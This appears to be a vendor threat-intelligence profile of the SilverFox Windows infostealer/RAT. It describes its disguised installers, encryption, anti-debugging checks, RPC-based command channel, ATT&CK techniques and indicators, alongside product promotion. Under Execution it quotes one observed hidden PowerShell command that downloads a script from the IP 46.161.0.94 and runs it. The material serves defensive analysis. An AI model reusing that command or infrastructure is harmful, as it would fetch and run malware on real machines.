SilverFox
SilverFox is a Chinese-origin Windows malware family described as an infostealer/RAT and associated with trojanized software. Reporting cited here links it to campaigns targeting Chinese-speaking users and organizations, including HR or compliance-related targets, and notes Knownsec 404 reporting on the SilverFox group and malware being used by cybercrime groups.
A documented March 2026 SilverFox variant, tagged Trojan/SilverFox.bg[qtsc], was a 64-bit PE executable disguised as a Trend Micro Titanium installer and delivered with a Chinese-language lure filename, 2026第一季度违纪人员内部调查信息.exe. The binary used forged Trend Micro version metadata, lacked a valid Authenticode signature, and carried a forged future compile timestamp. Its logic was protected inside a custom virtual machine with a binary-search-tree dispatcher. The malware used ChaCha20 or a closely related Salsa20-style stream cipher to decrypt code and protect command-and-control data, stored encrypted payload blobs in the .rsrc section disguised as BITMAP resources, decrypted payloads in memory, executed shellcode, and supported staged execution. Reported anti-analysis included IsDebuggerPresent, NtQueryInformationProcess with ProcessDebugPort, NtRemoveProcessDebug, DbgUiSetThreadDebugObject, NtDuplicateObject, CPUID checks including Xen detection, and other anti-VM techniques. It also used VirtualProtect, CreateProcessAsUserW, WaitForDebugEvent, ContinueDebugEvent, CreateFileMappingW, and MapViewOfFile in support of process injection, hollowing, and inter-process communication. Its C2 channel used Microsoft RPC over ncacn_ip_tcp via NdrAsyncClientCall; the host and port were encrypted and not recoverable statically.
Separate reporting also described a multi-variant ZIP/LNK dropper campaign active from at least November 2025 through April 2026 in which MalwareBazaar samples tagged Sonbokli were also tagged with SilverFox. That campaign used malicious LNK files to launch obfuscated cmd.exe, BitsAdmin, PowerShell, and mshta.exe chains, retrieved HTA files, PowerShell scripts, and a trojanized Chrome executable, and used lures in Arabic and English. ReversingLabs classified that activity as Win32.Trojan.Sonbokli, and the final payload was assessed as possibly a SilverFox variant packed with DonutLoader, but this was not confirmed because the payloads were no longer retrievable. Reported infrastructure for that campaign included C2 server 46.161.0.94 and paths such as /Mirzbow/, /mirmLAT/, /smersh/, /course/, and /chromeupd.zip. High-confidence sample identifiers for the March 2026 SilverFox RAT include SHA256 e6d8944deced4b6ec228cb1af210eb19d527107af2688b401de5503174bc1fbe, SHA1 a46c59be8e82cb05d49f288cb28df2333ee53b2b, MD5 443a741c1cdde875e8bc0307d9a657c7, and imphash 03178db0411f49be0e26499ca1def241.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
13 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
Initial Access
4 techniques
Initial Access
It's a single-IP SEO poisoning distribution hub running multiple thematic clusters... The software typosquat subcluster is the one worth staring at. The actor is impersonating a who's-who of desktop software across categories...
For twelve operationally-named domains to all land on the same registrant email without privacy — and for that email to be a personal gmail.com address rather than a burner — is an operator OPSEC failure of the kind that normally gets scrubbed before the first phishing sample ever leaves the author's workstation.
Initial Access Phishing: Spearphishing Attachment T1566.001 ZIP file containing malicious LNK
The actor is impersonating a who's-who of desktop software across categories ... Browsers Firefox, Edge, 360 Browser ... Messaging Telegram ... Security Huorong antivirus ... Hosting fake 'Qihoo 360 Security' download pages under a .icu TLD is low-effort social engineering that only needs to fool the subset of users who don't check domain suffixes carefully.
Execution
1 technique
Execution
powershell.exe -w Hidden $r = New-Object -ComObject 'WinHttp.WinHttpRequest.5.1'; $r.Open('GET', 'http://46.161.0.94/mirmLAT/departuredishwasher.ps1', $false); $r.SetRequestHeader('User-Agent', 'UA WindowsPowerShell'); $r.Send(); . ([ScriptBlock]::Create($r.ResponseText))
Stealth
3 techniques
Stealth
The name "360news" is a deliberate typosquat of Qihoo 360 (奇虎360), the largest Chinese cybersecurity vendor. Hosting fake "Qihoo 360 Security" download pages under a .icu TLD is low-effort social engineering...
Discovery
1 technique
Discovery
Command and Control
3 techniques
Command and Control
Two suggestive names — jackadmin reads like a C2 admin panel hostname, jackbank reads like a banking trojan overlay / fraud panel hostname — repeated five times each as a pre-provisioned batch for when the previous set gets burned.
IOCs tracked for this family
115 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
SilverFox is described as a Chinese-origin infostealer/RAT associated with trojanized software. In this campaign, the final trojanized chrome.exe payload may be a SilverFox variant.
A SilverFox RAT variant disguised as a Trend Micro Titanium installer. It hides logic inside a custom virtual machine with a binary search tree dispatcher, uses ChaCha20/Salsa20-style encryption for code and C2 payloads, performs anti-debugging and anti-VM checks, decrypts code in memory, injects into processes, and communicates with operators over Windows MSRPC using NdrAsyncClientCall.
SilverFox is an infostealer malware used by cybercrime groups to target Chinese-speaking users, stealing credentials and sensitive information.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.